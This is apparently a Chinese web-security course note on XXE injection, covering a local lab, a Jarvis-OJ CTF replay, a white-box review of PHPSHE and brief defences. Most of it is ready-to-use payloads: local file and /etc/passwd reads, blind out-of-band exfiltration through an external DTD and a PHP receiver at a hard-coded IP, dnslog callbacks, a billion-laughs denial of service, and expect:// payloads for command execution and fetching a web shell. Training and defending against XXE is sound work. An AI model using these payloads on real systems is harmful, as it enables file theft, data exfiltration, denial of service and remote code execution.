第59天:漏洞利用-XML&XXE安全&无回显方案&OOB盲注&DTD外部实体&黑白盒挖掘

XML被设计为传输和存储数据,XML文档结构包括XML声明、DTD文档类型定义(可选)、文档元素,其焦点是数据的内容,其把数据从HTML分离,是独立于软件和硬件的信息传输工具。

XXE漏洞全称XML External Entity Injection,即XML外部实体注入漏洞,XXE漏洞发生在应用程序解析XML输入时,没有禁止外部实体的加载,导致可加载恶意外部文件,造成文件读取、命令执行、内网端口扫描、攻击内网网站等危害。

XML与HTML对比

  • XML被设计为传输和存储数据,其焦点是数据的内容。
  • HTML被设计用来显示数据,其焦点是数据的外观。
  • HTML旨在显示信息,而XML旨在传输信息。

不同协议支持的在xml这里支持的不一样:

image-20250816101104411

XXE本地靶场

image-20250816100326136

image-20250816100315753

通过抓包发现传输数据包的格式是xml的格式。

那么还可以通过burp自带的扫描方式进行xml格式的搜索:

image-20250821075641028

image-20250821075700535

常用的Payload

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
参考:https://www.cnblogs.com/20175211lyz/p/11413335.html

1、读取文件:
<?xml version="1.0"?>
<!DOCTYPE Mikasa [
<!ENTITY test SYSTEM "file:///d:/1.txt">
]>
<user><username>&test;</username><password>Mikasa</password></user>

1.1、带外测试:
<?xml version="1.0" ?>
<!DOCTYPE test [
<!ENTITY % file SYSTEM "http://9v57ll.dnslog.cn">
%file;
]>
<user><username>&send;</username><password>Mikasa</password></user>

2、外部引用实体dtd:
<?xml version="1.0" ?>
<!DOCTYPE test [
<!ENTITY % file SYSTEM "http://127.0.0.1:8081/evil2.dtd">
%file;
]>
<user><username>&send;</username><password>Mikasa</password></user>

evil2.dtd:
<!ENTITY send SYSTEM "file:///d:/e.txt">

3、无回显读文件
<?xml version="1.0"?>
<!DOCTYPE ANY[
<!ENTITY % file SYSTEM "file:///d:/e.txt">
<!ENTITY % remote SYSTEM "http://47.94.236.117/test.dtd">
%remote;
%all;
]>
<root>&send;</root>

test.dtd:
<!ENTITY % all "<!ENTITY send SYSTEM 'http://47.94.236.117/get.php?file=%file;'>">

4、其他玩法(协议)-见参考地址

有回显的注入

这里使用有回显的payload:

1
2
3
4
5
6
7
<?xml version="1.0"?>
<!DOCTYPE Mikasa [
<!ENTITY test SYSTEM "file:///d:/test.txt">
]>
<user><username>&test;</username><password>Mikasa</password></user>

php://filter/read=convert.base64-encode/resource=flag.php

但是需要注意被读的文件里面不能有特殊符号,或者空格,否则会报错,那么怎么读取有这些字符的呢?使用另外的伪协议。

image-20250816100856723

image-20250816100920401

通过Base64的方式进行读取

1
2
3
4
5
6
7
<?xml version="1.0"?>
<!DOCTYPE Mikasa [
<!ENTITY test SYSTEM "php://filter/read=convert.base64-encode/resource=../../../test.txt">
]>
<user><username>&test;</username><password>Mikasa</password></user>

#这个还可以使用绝对路径,但是需要知道对方有什么文件

image-20250816101534221

1
2
3
4
5
<?xml version="1.0"?>
<!DOCTYPE Mikasa [
<!ENTITY test SYSTEM "php://filter/read=convert.base64-encode/resource=d:/test.txt">
]>
<user><username>&test;</username><password>Mikasa</password></user>

image-20250816101722370

image-20250816101655006

什么情况下进行xml的测试

查看数据包的结构,以及对应的格式(Content-Type):

image-20250816102112672

在实战的过程中,不可能会查看到每个数据包的格式,那么可以使用burp进行数据包的筛选。

image-20250816102713435

判断对方有无回显

根据对方的返回包进行判断,比如这个本地靶场

image-20250816103239269

不管这里是否登陆成功,都会显示这个用户名,然后修改这个用户名:

image-20250816103312815

返回包同样跟着进行更改。

对方如果不回显呢?

1
2
3
4
5
1、使用dnslog带外,或者使用云服务器在上面开启一个python的http服务,然后让目标进行访问就行。
2、直接打外部实体的payload,有就是有,没有就要从几方面入手:
1、真的没有这个漏洞
2、你的语法有问题
3、无回显

dnslog带外

1
2
3
4
5
6
##payload
<?xml version="1.0"?>
<!DOCTYPE Mikasa [
<!ENTITY test SYSTEM "http://zkbr95.dnslog.cn">
]>
<user><username>&test;</username><password>Mikasa</password></user>

image-20250816103502952

使用python搭建http服务,进行带外测试

image-20250816104306991

image-20250816104251315

外部实体payload

可以理解为就是将恶意的xml语句(dtd文件)写在了外部,然后让目标机器去访问这个文件就可以执行这个文件内的内容。

1
2
3
4
5
6
7
8
<?xml version="1.0"?>
<!DOCTYPE ANY[
<!ENTITY % file SYSTEM "file:///d:/test.txt">
<!ENTITY % remote SYSTEM "http://10.20.0.5/test.dtd">
%remote;
%all;
]>
<root>&send;</root>

test.dtd

1
<!ENTITY % all "<!ENTITY send SYSTEM 'http://10.20.0.5/get.php?file=%file;'>">

Get.php

1
2
3
4
5
6
<?php
$data=$_GET['file'];
$myfile = fopen("file.txt", "w+");
fwrite($myfile, $data);
fclose($myfile);
?>

image-20250816112223672

在远程服务器上创建这两个文件。然后在执行就可以看到生成了对应file.txt这个文件里面的内容就是目标服务器上的test.txt的内容

通过Base64的方式进行读取

不过这里还有一个和回显同样的问题,就是如果内容里面有特殊字符,这里是读取不了的,所以就是换一种方式进行读取:

1
2
3
4
5
6
7
8
9
10
11
<?xml version="1.0"?>
<!DOCTYPE ANY[
<!ENTITY % file SYSTEM "php://filter/read=convert.base64-encode/resource=d:/test.txt">
<!ENTITY % remote SYSTEM "http://10.20.0.5/test.dtd">
%remote;
%all;
]>
<root>&send;</root>

test.dtd:
<!ENTITY % all "<!ENTITY send SYSTEM 'http://10.20.0.5/get.php?file=%file;'>">

image-20250816112912263

CTF-Jarvis-OJ-Web-XXE 安全真题复现-数据请求格式

image-20250816113906016

抓包分析是json的格式

文件类型:content-type:application/json

更改content-type值查看返回

  • 将文件类型修改为:content-type:application/XML
  • 将post的数据修改为XML格式
1
2
3
4
5
6
<?xml version = "1.0"?>
<!DOCTYPE ANY [
<!ENTITY xxe SYSTEM "file:///etc/passwd">
]>

<x>&xxe;</x>

image-20250816113947199

那么这里是怎么判断是可以用xml格式的呢?

image-20250816114308154

前端代码中有对XML格式的数据进行接收,所以猜测后端有对应的接收逻辑。

PHPSHE白盒分析

image-20250816115508060

从白盒的角度主要有两个思路:

1
2
第一种:直接找危险函数
第二种:找对应的功能点,看URL路径,找到对应代码

image-20250816121515069

搜索关键字

image-20250816123247152

发现是上图这个函数对这个 关键字进行引用,然后ctrl+鼠标单击,跟进:

image-20250816123327566

发现是wechat_getxml对他进行了引用。在跟进:

image-20250816123410394

这里有个要注意的点就是:php版本不能太高,我用php7.2死活没有dnslog记录。我切换到php5.3才行。

image-20250816122133672

1
2
3
4
5
6
<?xml version="1.0" ?>
<!DOCTYPE test [
<!ENTITY % file SYSTEM "http://yt1fvt.dnslog.cn">
%file;
]>
<root>&send;</root>

image-20250816123141701

其他技巧

billion laughs复现(拒绝服务)

payload:

1
2
3
4
5
6
7
8
9
10
11
12
13
<?xml version="1.0"?>
<!DOCTYPE lolz [
<!ENTITY lol "lol">
<!ENTITY lol2 "&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;">
<!ENTITY lol3 "&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;">
<!ENTITY lol4 "&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;">
<!ENTITY lol5 "&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;">
<!ENTITY lol6 "&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;">
<!ENTITY lol7 "&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;">
<!ENTITY lol8 "&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;">
<!ENTITY lol9 "&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;">
]>
<lolz>&lol9;</lolz>

测试之后,感觉一点用也没有。

如果要执行带有空格的命令,可以使用:$IFS''代替空格(仅限LInux)

1
2
3
4
<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE GVI [ <!ELEMENT foo ANY >
<!ENTITY Fsec.io SYSTEM "expect://cat$IFS'/etc/passwd'" >]>
<creds>&Fsec.io;</creds>

拿shell:

1
2
3
4
<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE GVI [ <!ELEMENT foo ANY >
<!ENTITY Fsec.io SYSTEM "expect://curl$IFS-O$IFS'192.168.11.241/shell.php'" >]>
<creds>&Fsec.io;</creds>

使用CDATA

CDATA中的所有字符都会被当做元素字符数据的常量部分,而不是xml标记

1
2
3
4
5
6
7
8
<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE roottag [
<!ENTITY % start "<![CDATA[">
<!ENTITY % goodies SYSTEM "file:///var/www/html/yatming.php">
<!ENTITY % end "]]>">
<!ENTITY % dtd SYSTEM "http://192.168.11.241/test.dtd">
%dtd; ]>
<roottag>&all;</roottag>

外部 DTD 文件

1
2
<?xml version="1.0" encoding="UTF-8"?>
<!ENTITY all "%start;%goodies;%end;">

防御方案

1.方案 1-禁用外部实体

—PHP:

1
libxml_disable_entity_loader(true);

—JAVA:

1
DocumentBuilderFactory dbf=DocumentBuilderFactory.newInstance();dbf.setExpandEntityReferences(false);

—Python:

1
from lxml import etreexmlData = etree.parse(xmlSource,etree.XMLParser(resolve_entities=False))

2.方案 2-过滤用户提交的 XML 数据

过滤关键词:<!DOCTYPE 和<!ENTITY,或者 SYSTEM 和 PUBLIC(这里可以用加密绕过)

3.方案3—装WAF产品

附录

第59天:WEB攻防-XML&XXE安全&无回显方案&OOB盲注&DTD外部实体&黑白盒挖掘